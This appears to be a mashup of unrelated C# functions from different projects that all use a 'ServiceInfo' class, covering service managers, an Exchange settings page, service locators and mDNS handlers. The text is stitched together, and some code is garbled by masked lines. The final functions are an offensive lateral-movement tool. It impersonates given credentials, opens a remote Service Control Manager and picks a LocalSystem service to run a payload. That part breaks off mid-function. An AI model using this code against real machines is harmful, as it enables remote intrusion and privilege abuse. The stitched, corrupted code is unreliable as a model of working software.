e.reason = "exception while starting service " + service; throw e; } info.status = ServiceStatus.Started; _services.Add(info); } catch (Exception) { if (info.communicator != null) { destroyServiceCommunicator(service, info.communicator); } throw; } } }
string MYOBFolder(string inFolder) { return(ServiceInfo.GetFileURI(inFolder)); }
public void BindSettings(StringDictionary settings) { ServiceInfo serviceInfo = ES.Services.Servers.GetServiceInfo(PanelRequest.ServiceId); if (serviceInfo != null) { switch (serviceInfo.ProviderId) { case EXCHANGE2010_PROVIDER_ID: clusteredMailboxServer.Visible = false; txtMailboxClusterName.Text = ""; storageGroup.Visible = false; txtStorageGroup.Text = ""; locMailboxDAG.Visible = false; powershellUrl1.Visible = powershellUrl2.Visible = false; archivingGroup.Visible = false; break; case EXCHANGE2010SP2_PROVIDER_ID: clusteredMailboxServer.Visible = false; txtMailboxClusterName.Text = ""; storageGroup.Visible = false; txtStorageGroup.Text = ""; locMailboxDatabase.Visible = false; powershellUrl1.Visible = powershellUrl2.Visible = false; archivingGroup.Visible = false; break; case EXCHANGE2013_PROVIDER_ID: clusteredMailboxServer.Visible = false; txtMailboxClusterName.Text = ""; storageGroup.Visible = false; txtStorageGroup.Text = ""; locMailboxDatabase.Visible = false; powershellUrl1.Visible = powershellUrl2.Visible = true; archivingGroup.Visible = true; break; case EXCHANGE2016_PROVIDER_ID: clusteredMailboxServer.Visible = false; txtMailboxClusterName.Text = ""; storageGroup.Visible = false; txtStorageGroup.Text = ""; locMailboxDatabase.Visible = false; powershellUrl1.Visible = powershellUrl2.Visible = true; archivingGroup.Visible = true; Ex2016CU6orhigher.Visible = true; break; case EXCHANGE2019_PROVIDER_ID: clusteredMailboxServer.Visible = false; txtMailboxClusterName.Text = ""; storageGroup.Visible = false; txtStorageGroup.Text = ""; locMailboxDatabase.Visible = false; powershellUrl1.Visible = powershellUrl2.Visible = true; archivingGroup.Visible = true; Ex2016CU6orhigher.Visible = true; break; default: storageGroup.Visible = true; txtStorageGroup.Text = settings["StorageGroup"]; clusteredMailboxServer.Visible = true; txtMailboxClusterName.Text = settings["MailboxCluster"]; locMailboxDAG.Visible = false; Ex2016CU6orhigher.Visible = false; archivingGroup.Visible = false; break; } } HubTransports = settings["HubTransportServiceID"]; ClientAccess = settings["ClientAccessServiceID"]; // bind exchange services BindExchangeServices(ddlHubTransport, true); BindExchangeServices(ddlClientAccess, false); Utils.SelectListItem(ddlHubTransport, settings["HubTransportServiceID"]); Utils.SelectListItem(ddlClientAccess, settings["ClientAccessServiceID"]); txtMailboxDatabase.Text = settings["MailboxDatabase"]; txtKeepDeletedItems.Text = settings["KeepDeletedItemsDays"]; txtKeepDeletedMailboxes.Text = settings["KeepDeletedMailboxesDays"]; txtSmtpServers.Text = settings["SmtpServers"]; txtAutodiscoverIP.Text = settings["AutodiscoverIP"]; txtAutodiscoverDomain.Text = settings["AutodiscoverDomain"]; txtOwaUrl.Text = settings["OwaUrl"]; txtActiveSyncServer.Text = settings["ActiveSyncServer"]; txtOABServer.Text = settings["OABServer"]; txtPublicFolderServer.Text = settings["PublicFolderServer"]; txtPowerShellUrl.Text = settings["PowerShellUrl"]; txtArchivingDatabase.Text = settings["ArchivingDatabase"]; chkEx2016CU6orhigher.Checked = Utils.ParseBool(settings["Ex2016CU6orhigher"], false); chkSEEnable.Checked = Utils.ParseBool(settings["EnableMailFilter"], false); UpdateHubTransportsGrid(); UpdateClientAccessGrid(); }
public InstanceDownMessage(InstanceInfo instance, ServiceInfo service) { Instance = instance; Service = service; }
protected void Page_Load(object sender, EventArgs e) { if (Session == null || Session["serviceInfo"] == null) { objSvcInfo = new ServiceInfo(); } else { objSvcInfo = (ServiceInfo)Session["serviceInfo"]; } try { List<string[]> objList = objServiceHandler.getNodeList(SERVICEPAGENAME); for (int i = 0; i < objList.Count; i++) { if (objList[i].Contains("chart")) { //Load spray window user control Name = objList[i][1].ToString(); Node = objList[i][0].ToString(); break; } } ChangeLabelText(); } catch (Exception ex) { AgriCastException currEx = new AgriCastException(objSerPre.GetServiceDetails(), ex); AgriCastLogger.Publish(currEx, AgriCastLogger.LogType.Error); HttpContext.Current.Session["ErrorMessage"] = objCommonUtil.getTransText(Constants.MOB_LOAD_FAILURE) + " : " + ex.Message.ToString(); return; } }
private void StartService(string service, string entryPoint, string[] args) { lock (this) { // // Extract the assembly name and the class name. // int sepPos = entryPoint.IndexOf(':'); if (sepPos != -1) { const string driveLetters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; if (entryPoint.Length > 3 && sepPos == 1 && driveLetters.IndexOf(entryPoint[0]) != -1 && (entryPoint[2] == '\\' || entryPoint[2] == '/')) { sepPos = entryPoint.IndexOf(':', 3); } } if (sepPos == -1) { throw new FormatException($"invalid entry point format `{entryPoint}"); } System.Reflection.Assembly?serviceAssembly = null; string assemblyName = entryPoint.Substring(0, sepPos); string className = entryPoint.Substring(sepPos + 1); try { // // First try to load the assembly using Assembly.Load, which will succeed // if a fully-qualified name is provided or if a partial name has been qualified // in configuration. If that fails, try Assembly.LoadFrom(), which will succeed // if a file name is configured or a partial name is configured and DEVPATH is used. // try { serviceAssembly = System.Reflection.Assembly.Load(assemblyName); } catch (System.Exception ex) { try { serviceAssembly = System.Reflection.Assembly.LoadFrom(assemblyName); } catch (System.Exception) { #pragma warning disable CA2200 // Rethrow to preserve stack details. throw ex; #pragma warning restore CA2200 // Rethrow to preserve stack details. } } } catch (System.Exception ex) { throw new InvalidOperationException( $"ServiceManager: unable to load service '{entryPoint}': error loading assembly: {assemblyName}", ex); } // // Instantiate the class. // Type?c = null; try { c = serviceAssembly.GetType(className, true); } catch (System.Exception ex) { throw new InvalidOperationException( $"ServiceManager: unable to load service '{entryPoint}': cannot find the service class `{className}'", ex); } var info = new ServiceInfo(service, ServiceStatus.Stopped, args); ILogger?logger = null; // // If IceBox.UseSharedCommunicator.<name> is defined, create a // communicator for the service. The communicator inherits // from the shared communicator properties. If it's not // defined, add the service properties to the shared // commnunicator property set. // Communicator communicator; if (_communicator.GetPropertyAsInt($"IceBox.UseSharedCommunicator.{service}") > 0) { Debug.Assert(_sharedCommunicator != null); communicator = _sharedCommunicator; } else { // // Create the service properties. We use the communicator properties as the default // properties if IceBox.InheritProperties is set. // Dictionary <string, string> properties = CreateServiceProperties(service); if (info.Args.Length > 0) { // // Create the service properties with the given service arguments. This should // read the service config file if it's specified with --Ice.Config. // properties.ParseIceArgs(ref info.Args); // // Next, parse the service "<service>.*" command line options (the Ice command // line options were parsed by the createProperties above) // properties.ParseArgs(ref info.Args, service); } // // Clone the logger to assign a new prefix. If one of the built-in loggers is configured // don't set any logger. // if (properties.TryGetValue("Ice.LogFile", out string?logFile)) { logger = _logger.CloneWithPrefix(properties.GetValueOrDefault("Ice.ProgramName") ?? ""); } // // If Admin is enabled on the IceBox communicator, for each service that does not set // Ice.Admin.Enabled, we set Ice.Admin.Enabled=1 to have this service create facets; then // we add these facets to the IceBox Admin object as IceBox.Service.<service>.<facet>. // string serviceFacetNamePrefix = "IceBox.Service." + service + "."; bool addFacets = ConfigureAdmin(properties, serviceFacetNamePrefix); // // Remaining command line options are passed to the communicator. This is // necessary for Ice plug-in properties (e.g.: IceSSL). // info.Communicator = new Communicator(ref info.Args, properties, logger: logger); communicator = info.Communicator; if (addFacets) { // Add all facets created on the service communicator to the IceBox communicator // but renamed IceBox.Service.<service>.<facet-name>, except for the Process facet // which is never added foreach (KeyValuePair <string, IObject> p in communicator.FindAllAdminFacets()) { if (!p.Key.Equals("Process")) { _communicator.AddAdminFacet(p.Value, serviceFacetNamePrefix + p.Key); } } } } try { // // Instantiate the service. // IService?s; try { // // If the service class provides a constructor that accepts an Ice.Communicator argument, // use that in preference to the default constructor. // var parameterTypes = new Type[1]; parameterTypes[0] = typeof(Communicator); System.Reflection.ConstructorInfo?ci = c.GetConstructor(parameterTypes); if (ci != null) { object[] parameters = new object[1]; parameters[0] = _communicator; s = (IService)ci.Invoke(parameters); } else { // // Fall back to the default constructor. // s = (IService?)IceInternal.AssemblyUtil.CreateInstance(c); } } catch (System.Exception ex) { throw new InvalidOperationException($"ServiceManager: unable to load service '{entryPoint}", ex); } info.Service = s ?? throw new InvalidOperationException( $"ServiceManager: unable to load service '{entryPoint}': " + $"no default constructor for `{className}'"); try { info.Service.start(service, communicator, info.Args); } catch (System.Exception ex) { throw new InvalidOperationException($"ServiceManager: exception while starting service {service}", ex); } info.Status = ServiceStatus.Started; _services.Add(info); } catch (System.Exception) { if (info.Communicator != null) { DestroyServiceCommunicator(service, info.Communicator); } throw; } } }
public CustomServiceRegistration(CustomComponentRegistration ccRegistration, ServiceInfo serviceInfo) : base(ccRegistration) { _serviceInfo = serviceInfo; // Some additional initializations (collections) serviceInfo.AutoInjections = _autoInjections; serviceInfo.Substitutes = _substitutes; serviceInfo.SubstituteNames = _substituteNames; serviceInfo.Requires = _requires; serviceInfo.MemberOfLists = _inLists; }
private Process StartService(ServiceInfo service) { // 检查应用是否已启动 var pidFile = NewLife.Setting.Current.DataPath.CombinePath($"{service.Name}.pid").GetBasePath(); if (File.Exists(pidFile)) { try { // 读取 pid,procss_name var ss = File.ReadAllText(pidFile).Split(","); if (ss != null && ss.Length >= 2) { var p = Process.GetProcessById(ss[0].ToInt()); if (p != null && !p.HasExited && p.ProcessName == ss[1]) { WriteLog("应用[{0}/{1}]已启动,直接接管", service.Name, ss[0]); _processes[service.Name] = p; return(p); } } } catch (Exception ex) { if (!(ex is ArgumentException)) { XTrace.WriteException(ex); } } } // 修正路径 var workDir = service.WorkingDirectory; var file = service.FileName; if (file.Contains("/") || file.Contains("\\")) { file = file.GetFullPath(); if (workDir.IsNullOrEmpty()) { workDir = Path.GetDirectoryName(file); } } var fullFile = file; if (!workDir.IsNullOrEmpty() && !Path.IsPathRooted(fullFile)) { fullFile = workDir.CombinePath(fullFile).GetFullPath(); } if (/*service.Arguments.IsNullOrEmpty() ||*/ service.Singleton) { // 遍历进程,检查是否已驱动 foreach (var p in Process.GetProcesses()) { try { if (p.ProcessName.EqualIgnoreCase(service.Name) || p.MainModule.FileName.EqualIgnoreCase(fullFile)) { WriteLog("应用[{0}/{1}]已启动,直接接管", service.Name, p.Id); _processes[service.Name] = p; pidFile.EnsureDirectory(true); File.WriteAllText(pidFile, $"{p.Id},{p.ProcessName}"); return(p); } } catch { } } } WriteLog("启动进程:{0} {1} {2}", file, service.Arguments, workDir); var si = new ProcessStartInfo { FileName = file, Arguments = service.Arguments, WorkingDirectory = workDir, // false时目前控制台合并到当前控制台,一起退出; // true时目标控制台独立窗口,不会一起退出; UseShellExecute = true, }; var retry = service.Retry; if (retry <= 0) { retry = 1024; } for (var i = 0; i < retry; i++) { try { var p = Process.Start(si); WriteLog("应用[{0}]启动成功 PID={1}", service.Name, p.Id); // 记录进程信息,避免宿主重启后无法继续管理 _processes[service.Name] = p; pidFile.EnsureDirectory(true); File.WriteAllText(pidFile, $"{p.Id},{p.ProcessName}"); return(p); } catch (Exception ex) { Log?.Write(LogLevel.Error, "{0}", ex); Thread.Sleep(5_000); } } return(null); }
internal void OnServiceChanged(ServiceInfo service) { ServiceAnnouncement announcement; lock (_serviceAnnouncements) { announcement = _serviceAnnouncements[Tuple.Create(service.NetworkInterface.Id, service.Name)]; } var tmpAnnouncement = new ServiceAnnouncement() { Hostname = service.HostName.Labels[0], Domain = service.HostName.SubName(1).ToString(), Addresses = service.Addresses, Instance = service.Name.Labels[0], NetworkInterface = service.NetworkInterface, Port = (ushort)service.Port, Txt = service.Txt, Type = service.Name.SubName(1, 2).ToString() }; SynchronizationContextPost(o => { announcement.Hostname = tmpAnnouncement.Hostname; announcement.Domain = tmpAnnouncement.Domain; announcement.Addresses = tmpAnnouncement.Addresses; announcement.Instance = tmpAnnouncement.Instance; announcement.NetworkInterface = tmpAnnouncement.NetworkInterface; announcement.Port = tmpAnnouncement.Port; announcement.Txt = tmpAnnouncement.Txt; announcement.Type = tmpAnnouncement.Type; if (ServiceChanged != null) { ServiceChanged(this, new ServiceAnnouncementEventArgs(announcement)); } }); }
public void RemoveServiceInfo(ServiceInfo service) { _container.Remove(service); }
public override void startService(string name, Ice.Current current) { ServiceInfo info = new ServiceInfo(); lock(this) { // // Search would be more efficient if services were contained in // a map, but order is required for shutdown. // int i; for(i = 0; i < _services.Count; ++i) { info = _services[i]; if(info.name.Equals(name)) { if(_services[i].status != ServiceStatus.Stopped) { throw new AlreadyStartedException(); } info.status = ServiceStatus.Starting; _services[i] = info; break; } } if(i == _services.Count) { throw new NoSuchServiceException(); } _pendingStatusChanges = true; } bool started = false; try { info.service.start(info.name, info.communicator == null ? _sharedCommunicator : info.communicator, info.args); started = true; } catch(Exception e) { _logger.warning("ServiceManager: exception while starting service " + info.name + ":\n" + e.ToString()); } lock(this) { int i; for(i = 0; i < _services.Count; ++i) { info = _services[i]; if(info.name.Equals(name)) { if(started) { info.status = ServiceStatus.Started; List<string> services = new List<string>(); services.Add(name); servicesStarted(services, _observers.Keys); } else { info.status = ServiceStatus.Stopped; } _services[i] = info; break; } } _pendingStatusChanges = false; System.Threading.Monitor.PulseAll(this); } }
/// <summary> /// Registers a specific instance of an service. /// </summary> /// <param name="serviceType">Type of the service.</param> /// <param name="instance">The specific instance to register.</param> /// <param name="tag">The tag to register the service with. The default value is <c>null</c>.</param> /// <param name="originalContainer">The original container where the instance was found in.</param> /// <exception cref="ArgumentNullException">The <paramref name="serviceType"/> is <c>null</c>.</exception> /// <exception cref="ArgumentNullException">The <paramref name="instance"/> is <c>null</c>.</exception> private void RegisterInstance(Type serviceType, object instance, object tag, object originalContainer) { Argument.IsNotNull("serviceType", serviceType); Argument.IsNotNull("instance", instance); Log.Debug("Registering type '{0}' to instance of type '{1}'", serviceType.FullName, instance.GetType().FullName); var registeredTypeInfo = new ServiceLocatorRegistration(serviceType, instance.GetType(), tag, RegistrationType.Singleton, x => instance); lock (this) { var serviceInfo = new ServiceInfo(serviceType, tag); if (_registeredTypes.ContainsKey(serviceInfo)) { // Re-use previous subscription registeredTypeInfo = _registeredTypes[serviceInfo]; } else { _registeredTypes[serviceInfo] = registeredTypeInfo; } _registeredInstances[serviceInfo] = new RegisteredInstanceInfo(registeredTypeInfo, instance); } TypeRegistered.SafeInvoke(this, new TypeRegisteredEventArgs(registeredTypeInfo.DeclaringType, registeredTypeInfo.ImplementingType, tag, RegistrationType.Singleton)); Log.Debug("Registered type '{0}' to instance of type '{1}'", serviceType.FullName, instance.GetType().FullName); }
public int Insert_Service(ServiceInfo service) { return(_serviceRepo.Insert_Service(service)); }
/// <summary> /// Registers the specific implementing type for the service type. /// </summary> /// <param name="serviceType">Type of the service.</param> /// <param name="serviceImplementationType">Type of the implementing.</param> /// <param name="tag">The tag to register the service with. The default value is <c>null</c>.</param> /// <param name="registrationType">The registration type.</param> /// <param name="registerIfAlreadyRegistered">if set to <c>true</c>, an older type registration is overwritten by this new one.</param> /// <param name="originalContainer">The original container where the type was found in.</param> /// <param name="createServiceFunc">The create service function.</param> /// <exception cref="System.InvalidOperationException"></exception> /// <exception cref="ArgumentNullException">The <paramref name="serviceType" /> is <c>null</c>.</exception> private void RegisterType(Type serviceType, Type serviceImplementationType, object tag, RegistrationType registrationType, bool registerIfAlreadyRegistered, object originalContainer, Func<ServiceLocatorRegistration, object> createServiceFunc) { Argument.IsNotNull("serviceType", serviceType); if (serviceImplementationType == null) { // Dynamic late-bound type serviceImplementationType = typeof(LateBoundImplementation); } if (serviceImplementationType.IsInterfaceEx()) { throw Log.ErrorAndCreateException<InvalidOperationException>("Cannot register interface type '{0}' as implementation, make sure to specify an actual class", serviceImplementationType.GetSafeFullName()); } /* TODO: This code have to be here to ensure the right usage of non-generic overloads of register methods. * TODO: If it is finally accepted then remove it from ServiceLocatorAutoRegistrationManager if (serviceImplementationType.IsAbstractEx() || !serviceType.IsAssignableFromEx(serviceImplementationType)) { string message = string.Format("The type '{0}' is abstract or can't be registered as '{1}'", serviceImplementationType, serviceType); Log.Error(message); throw new InvalidOperationException(message); } */ // Outside lock scope for event ServiceLocatorRegistration registeredTypeInfo = null; lock (this) { if (!registerIfAlreadyRegistered && IsTypeRegistered(serviceType, tag)) { //Log.Debug("Type '{0}' already registered, will not overwrite registration", serviceType.FullName); return; } var serviceInfo = new ServiceInfo(serviceType, tag); if (_registeredInstances.ContainsKey(serviceInfo)) { _registeredInstances.Remove(serviceInfo); } Log.Debug("Registering type '{0}' to type '{1}'", serviceType.FullName, serviceImplementationType.FullName); registeredTypeInfo = new ServiceLocatorRegistration(serviceType, serviceImplementationType, tag, registrationType, x => (createServiceFunc != null) ? createServiceFunc(x) : CreateServiceInstance(x)); _registeredTypes[serviceInfo] = registeredTypeInfo; } TypeRegistered.SafeInvoke(this, new TypeRegisteredEventArgs(registeredTypeInfo.DeclaringType, registeredTypeInfo.ImplementingType, tag, registeredTypeInfo.RegistrationType)); Log.Debug("Registered type '{0}' to type '{1}'", serviceType.FullName, serviceImplementationType.FullName); }
public ProcessBuilder WithServiceInfo(ServiceInfo serviceInfo) { m_serviceInfo = serviceInfo; return(this); }
/// <summary> /// Resolves the type from a known container. /// </summary> /// <param name="serviceType">Type of the service.</param> /// <param name="tag">The tag to register the service with. The default value is <c>null</c>.</param> /// <returns>An instance of the type registered on the service.</returns> /// <exception cref="ArgumentNullException">The <paramref name="serviceType"/> is <c>null</c>.</exception> /// <exception cref="ArgumentOutOfRangeException">The type is not found in any container.</exception> private object ResolveTypeFromKnownContainer(Type serviceType, object tag) { Argument.IsNotNull("serviceType", serviceType); lock (this) { var typeRequestInfo = new TypeRequestInfo(serviceType, tag); if (_currentTypeRequestPath == null) { _currentTypeRequestPath = new TypeRequestPath(typeRequestInfo, name: "ServiceLocator"); _currentTypeRequestPath.IgnoreDuplicateRequestsDirectlyAfterEachother = false; } else { _currentTypeRequestPath.PushType(typeRequestInfo, false); if (!_currentTypeRequestPath.IsValid) { // Reset path for next types that are being resolved var typeRequestPath = _currentTypeRequestPath; _currentTypeRequestPath = null; typeRequestPath.ThrowsExceptionIfInvalid(); } } var serviceInfo = new ServiceInfo(serviceType, tag); var registeredTypeInfo = _registeredTypes[serviceInfo]; object instance = registeredTypeInfo.CreateServiceFunc(registeredTypeInfo); if (instance == null) { ThrowTypeNotRegisteredException(serviceType); } if (IsTypeRegisteredAsSingleton(serviceType, tag)) { RegisterInstance(serviceType, instance, tag, this); } CompleteTypeRequestPathIfRequired(typeRequestInfo); return instance; } }
public Task NotifyEndpointReady(IReceiveEndpoint receiveEndpoint, InstanceInfo instanceInfo, ServiceInfo serviceInfo) { return(Task.WhenAll(_messageTypes.Values.Select(type => type.NotifyEndpointReady(receiveEndpoint, instanceInfo, serviceInfo)))); }
public static UserServiceClient CreateServiceClient(string address, ServiceInfo serviceInfo, IUserServiceCallback userServiceCallback) { var factory = new UserServiceFactory(address, serviceInfo, userServiceCallback); return(new UserServiceClient(factory.instanceContext, factory.binding, factory.endPointAddress)); }
public static void UnInstall(ServiceInfo serviceInfo) { Install(false, serviceInfo); }
void Register_service(ServiceInfo service) { var handler = Create_handler(service); Register_route(service.HttpMethod, service.Route, handler); }
public CodeTemplateGlobals(PythonGenerator generator, ServiceInfo serviceInfo, HttpServiceInfo?httpServiceInfo) { Service = serviceInfo; HttpService = httpServiceInfo; CodeGenCommentText = CodeGenUtility.GetCodeGenComment(generator.GeneratorName ?? ""); }
object[] Get_input(dynamic routeParams, ServiceInfo service) { return(service.Parameters.Select(p => Get_input_from_param(routeParams, Request.Query, p)) .ToArray()); }
public override void stopService(string name, Ice.Current current) { ServiceInfo info = new ServiceInfo(); _m.Lock(); try { // // Search would be more efficient if services were contained in // a map, but order is required for shutdown. // int i; for(i = 0; i < _services.Count; ++i) { info = _services[i]; if(info.name.Equals(name)) { if(info.status != ServiceStatus.Started) { throw new AlreadyStoppedException(); } info.status = ServiceStatus.Stopping; _services[i] = info; break; } } if(i == _services.Count) { throw new NoSuchServiceException(); } _pendingStatusChanges = true; } finally { _m.Unlock(); } bool stopped = false; try { info.service.stop(); stopped = true; } catch(Exception e) { _logger.warning("ServiceManager: exception while stopping service " + info.name + "\n" + e.ToString()); } _m.Lock(); try { int i; for(i = 0; i < _services.Count; ++i) { info = _services[i]; if(info.name.Equals(name)) { if(stopped) { info.status = ServiceStatus.Stopped; List<string> services = new List<string>(); services.Add(name); servicesStopped(services, _observers.Keys); } else { info.status = ServiceStatus.Started; } _services[i] = info; break; } } _pendingStatusChanges = false; _m.NotifyAll(); } finally { _m.Unlock(); } }
public OnlineIdAuthenticationProvider(ServiceInfo serviceInfo) : base(serviceInfo) { this.authenticator = new OnlineIdAuthenticator(); }
public TaskRetryResult(ServiceInfo service, Exception exception) { Service = service; Exception = exception; }
private ServiceInfo FindOrCreatePacketService(Name name) { ServiceInfo service; bool found = _packetServiceInfos.TryGetValue(name, out service); if (service == null) { if (found) { _packetServiceInfos.Remove(name); } service = new ServiceInfo(NetworkInterface, name); _packetServiceInfos.Add(name, service); } return service; }
protected void btnAddService_Click(object sender, EventArgs e) { ServiceInfo _service = new ServiceInfo(); int flag = 0; if (txtService.Text == "") { lblMessage.Text = "No Service Name."; shownotification(); flag = 1; } if (txtPrice.Text == "") { lblMessage.Text = "No Price for Service."; shownotification(); flag = 1; } if (flag == 0) { _service.ServiceName = txtService.Text; _service.rate = int.Parse(txtPrice.Text); _service.CategoryID = int.Parse(ddlCategory.SelectedValue); //txtCategory.Text = ddlCategory.SelectedValue; try { BllService.CreateService(_service); lblMessage.Text = "Service Saved succesfully Added"; shownotification(); ClearForm(); } catch (Exception ex) { lblMessage.Text = ex.Message; shownotification(); } } }
private void AddServiceHostInfo(ServiceInfo service) { Name hostname = service.HostName; HostInfo hostInfo; _hostInfos.TryGetValue(hostname, out hostInfo); if (hostInfo == null) { hostInfo = new HostInfo(); HostAddresses hostAddresses; if (_packetHostAddresses.TryGetValue(hostname, out hostAddresses)) { hostInfo.Addresses = hostAddresses.IPv4Addresses; if (hostInfo.Addresses == null) { hostInfo.Addresses = hostAddresses.IPv6Addresses; } else if (hostAddresses.IPv6Addresses != null) { hostInfo.Addresses.AddRange(hostAddresses.IPv6Addresses); } } _hostInfos.Add(hostname, hostInfo); } Debug.Assert(!hostInfo.ServiceInfos.Contains(service)); hostInfo.ServiceInfos.Add(service); service.Addresses = hostInfo.Addresses; }
internal void OnServiceRemoved(ServiceInfo service) { var key = Tuple.Create(service.NetworkInterface.Id, service.Name); ServiceAnnouncement announcement; lock (_serviceAnnouncements) { announcement = _serviceAnnouncements[key]; _serviceAnnouncements.Remove(key); } SynchronizationContextPost(o => { announcement.IsRemoved = true; lock (_services) { _services.Remove(announcement); } if (ServiceRemoved != null) { ServiceRemoved(this, new ServiceAnnouncementEventArgs(announcement)); } }); }
public TaskRetryResult(ServiceInfo service, object result) { Service = service; Result = result; }
internal void OnServiceAdded(ServiceInfo service) { var announcement = new ServiceAnnouncement { Hostname = service.HostName.Labels[0], Domain = service.HostName.SubName(1).ToString(), Addresses = service.Addresses, Instance = service.Name.Labels[0], NetworkInterface = service.NetworkInterface, Port = (ushort)service.Port, Txt = service.Txt, Type = service.Name.SubName(1, 2).ToString() }; lock (_serviceAnnouncements) { _serviceAnnouncements.Add(Tuple.Create(service.NetworkInterface.Id, service.Name), announcement); } SynchronizationContextPost(o => { lock (_services) { _services.Add(announcement); } if (ServiceAdded != null) { ServiceAdded(this, new ServiceAnnouncementEventArgs(announcement)); } }); }
ServiceInfo FindServiceCore(bool findServiceWithKey, ServiceInfo primary, ServiceInfo secondary) { return(findServiceWithKey ? primary : !primary.HasKey ? primary : !secondary.HasKey ? secondary : primary); }
private void ClearServiceHostInfo(ServiceInfo service) { Name hostname = service.HostName; HostInfo hostInfo; _hostInfos.TryGetValue(hostname, out hostInfo); if (hostInfo != null) { hostInfo.ServiceInfos.Remove(service); if (hostInfo.ServiceInfos.Count == 0) { _hostInfos.Remove(hostname); } service.HostName = null; service.Addresses = null; } }
public static ServiceInfo GetServiceInfo(string ServiceName, IntPtr SCMHandle) { Console.WriteLine($" |-> Querying service {ServiceName}"); ServiceInfo serviceInfo = new ServiceInfo(); try { IntPtr serviceHandle = OpenService(SCMHandle, ServiceName, 0xF01FF); uint bytesNeeded = 0; QUERY_SERVICE_CONFIG qsc = new QUERY_SERVICE_CONFIG(); IntPtr qscPtr = IntPtr.Zero; bool retCode = QueryServiceConfig(serviceHandle, qscPtr, 0, out bytesNeeded); if (!retCode && bytesNeeded == 0) { throw new Win32Exception(); } else { qscPtr = Marshal.AllocCoTaskMem((int)bytesNeeded); retCode = QueryServiceConfig(serviceHandle, qscPtr, bytesNeeded, out bytesNeeded); if (!retCode) { throw new Win32Exception(); } qsc.binaryPathName = IntPtr.Zero; qsc.dependencies = IntPtr.Zero; qsc.displayName = IntPtr.Zero; qsc.loadOrderGroup = IntPtr.Zero; qsc.startName = IntPtr.Zero; qsc = (QUERY_SERVICE_CONFIG)Marshal.PtrToStructure(qscPtr, typeof(QUERY_SERVICE_CONFIG)); } serviceInfo.binaryPathName = Marshal.PtrToStringAuto(qsc.binaryPathName); serviceInfo.dependencies = Marshal.PtrToStringAuto(qsc.dependencies); serviceInfo.displayName = Marshal.PtrToStringAuto(qsc.displayName); serviceInfo.loadOrderGroup = Marshal.PtrToStringAuto(qsc.loadOrderGroup); serviceInfo.startName = Marshal.PtrToStringAuto(qsc.startName); serviceInfo.errorControl = qsc.errorControl; serviceInfo.serviceType = qsc.serviceType; serviceInfo.startType = qsc.startType; serviceInfo.tagID = qsc.tagID; serviceInfo.serviceHandle = serviceHandle; // Return service handler Marshal.FreeHGlobal(qscPtr); } catch (Exception) { string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message; Console.WriteLine("\n[!] GetServiceInfo failed. Error: {0}", errorMessage); Environment.Exit(0); } return(serviceInfo); }
private static void FilteredLog(ILogger logger, LogLevel level, string message, Exception exception = null, ServiceInfo serviceInfo = null) { //don't log thread abort exception if (exception is System.Threading.ThreadAbortException) { return; } if (logger.IsEnabled(level)) { string fullMessage = exception == null ? string.Empty : exception.ToString(); logger.InsertLog(level, message, fullMessage, serviceInfo); } }
static void Main(string[] args) { // example from https://github.com/s0lst1c3/SharpFinder ProgramOptions options = new ProgramOptions(); foreach (string arg in args) { if (arg.StartsWith("--target=")) { string[] components = arg.Split(new string[] { "--target=" }, StringSplitOptions.None); options.target = components[1]; } else if (arg.StartsWith("--payload=")) { string[] components = arg.Split(new string[] { "--payload=" }, StringSplitOptions.None); options.payload = components[1]; } else if (arg.StartsWith("--username="******"--username="******"--password="******"--password="******"--domain=")) { string[] components = arg.Split(new string[] { "--domain=" }, StringSplitOptions.None); options.domain = components[1]; } else if (arg.StartsWith("--service=")) { string[] components = arg.Split(new string[] { "--service=" }, StringSplitOptions.None); options.service = components[1]; } else if (arg.StartsWith("--help")) { PrintBanner(); PrintHelp(); Environment.Exit(0); } else { Console.WriteLine("[!] Invalid flag: " + arg); return; } } string username = null; string password = null; string domain = null; bool result = false; if (!String.IsNullOrEmpty(options.username) && !String.IsNullOrEmpty(options.password)) { IntPtr phToken = IntPtr.Zero; username = options.username; password = options.password; domain = options.domain; result = LogonUserA(username, domain, password, (int)LOGON_TYPE.LOGON32_LOGON_NEW_CREDENTIALS, (int)LOGON_PROVIDER.LOGON32_PROVIDER_DEFAULT, ref phToken); if (!result) { string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message; Console.WriteLine("[!] LogonUser failed. Error: {0}", errorMessage); Environment.Exit(0); } result = ImpersonateLoggedOnUser(phToken); if (!result) { string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message; Console.WriteLine("[!] ImpersonateLoggedOnUser failed. Error:{0}", errorMessage); Environment.Exit(0); } } if (options.target == "" || options.payload == "") { PrintBanner(); PrintHelp(); Environment.Exit(0); } string target = options.target; try { Console.WriteLine($"\n[>] Open SC Manager from {target}."); IntPtr SCMHandle = OpenSCManager(options.target, null, SC_MANAGER_ALL_ACCESS); if (SCMHandle == IntPtr.Zero) { string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message; Console.WriteLine("[!] OpenSCManager failed. Error: {0}", errorMessage); Environment.Exit(0); } // Open Connection to the remote machine and get all services Console.WriteLine($"\n[>] Getting services information from {target}."); ServiceController[] services = ServiceController.GetServices(target); ServiceInfo serviceInfo = new ServiceInfo(); if (options.service == "") { Console.WriteLine($"\n[>] Looking for a random service to execute our payload."); Random r = new Random(); for (int i = 0; i < services.Length; i++) { int value = r.Next(0, services.Length); // Check some values to select a service to use to trigger our paylaod if (services[value].StartType == ServiceStartMode.Disabled && services[value].Status == ServiceControllerStatus.Stopped && services[value].ServicesDependedOn.Length == 0) { serviceInfo = GetServiceInfo(services[value].ServiceName, SCMHandle); if (serviceInfo.startName.ToLower() == "localsystem") { Console.WriteLine($" |-> Service {services[value].ServiceName} authenticated as {serviceInfo.startName}."); break; } } } serviceInfo = new ServiceInfo(); // If not service was found search for services with start mode manual, stopped without dependencies. if (serviceInfo.displayName == null) { for (int i = 0; i < services.Length; i++) { int value = r.Next(0, services.Length); // Check some values to select a service to use to trigger our paylaod (Manual Services) if (services[value].StartType == ServiceStartMode.Manual && services[value].Status == ServiceControllerStatus.Stopped && services[value].ServicesDependedOn.Length == 0) { serviceInfo = GetServiceInfo(services[value].ServiceName, SCMHandle); if (serviceInfo.startName.ToLower() == "localsystem") { Console.WriteLine($" |-> Service {services[value].ServiceName} authenticated as {serviceInfo.startName}."); break; } } } } if (serviceInfo.displayName == "") { Console.WriteLine($"[!] No service found that met the default conditions, please select the service to run."); Environment.Exit(0); } } else { Console.WriteLine($"\n[>] Checking if service {options.service} exists."); bool found = false; // Check if --server=value 